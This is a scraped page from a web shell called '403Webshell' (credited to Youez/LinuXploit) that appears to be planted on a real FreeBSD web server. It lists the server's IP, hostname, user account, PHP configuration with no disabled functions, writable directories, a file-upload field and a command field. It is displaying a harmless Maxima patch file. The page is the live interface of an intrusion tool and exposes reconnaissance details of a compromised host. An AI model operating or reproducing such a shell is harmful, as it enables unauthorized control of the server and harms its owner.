403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/maxima/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/ports/math/maxima/files/extra-patch-src_grind.lisp
--- src/grind.lisp.orig	2019-10-21 03:38:59 UTC
+++ src/grind.lisp
@@ -297,12 +297,13 @@
       (msz nil l r)
       (do ((nl) (w 0))
           ((null (cdr x))
-           (setq nl (cons (if (stringp (car x))
+;; Patch borrowed from SageMath: undoing_true_false_printing_patch
+           (setq nl (cons (if (atom (car x))
                               (msz (makestring (car x)) l r)
                               (msize (car x) l r lop rop))
                           nl))
            (cons (+ w (caar nl)) (nreverse nl)))
-        (setq nl (cons (if (stringp (car x))
+        (setq nl (cons (if (atom (car x))
                            (msz (makestring (car x)) l r)
                            (msize (car x) l r lop rop))
                        nl)

Youez - 2016 - github.com/yon3zu
LinuXploit